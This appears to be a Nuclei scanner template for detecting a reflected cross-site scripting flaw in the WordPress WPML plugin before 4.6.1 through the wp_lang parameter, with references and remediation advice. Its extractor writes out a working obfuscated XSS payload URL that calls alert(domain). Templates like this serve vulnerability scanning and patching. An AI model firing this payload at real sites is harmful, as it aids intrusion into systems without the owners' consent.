39 lines
983 B
YAML
39 lines
983 B
YAML
id: wpml-xss
|
|
|
|
info:
|
|
name: WordPress Plugin WPML Version < 4.6.1 Cross-Site Scripting
|
|
author: bugvsme
|
|
severity: medium
|
|
description: |
|
|
WordPress Plugin WPML Version < 4.6.1 is vulnerable to RXSS via wp_lang parameter.
|
|
reference:
|
|
- https://wpml.org/fr/changelog/2023/03/wpml-4-6-1-important-security-update/
|
|
- https://twitter.com/bug_vs_me/status/1652789903766200320
|
|
remediation: |
|
|
Update the WPML plugin to 4.6.1 version.
|
|
metadata:
|
|
verified: "true"
|
|
tags: xss,wp,wordpress,wpml,wp-plugin
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- '{{BaseURL}}/wp-login.php?wp_lang=en_US%27'
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- '#039;"='
|
|
- 'wpml_lang'
|
|
condition: and
|
|
|
|
extractors:
|
|
- type: dsl
|
|
dsl:
|
|
- 'host + "/wp-login.php?wp_lang=%20=id=x+type=image%20id=xss%20onfoc%3C!%3Eusin+alert(domain)%0c"' |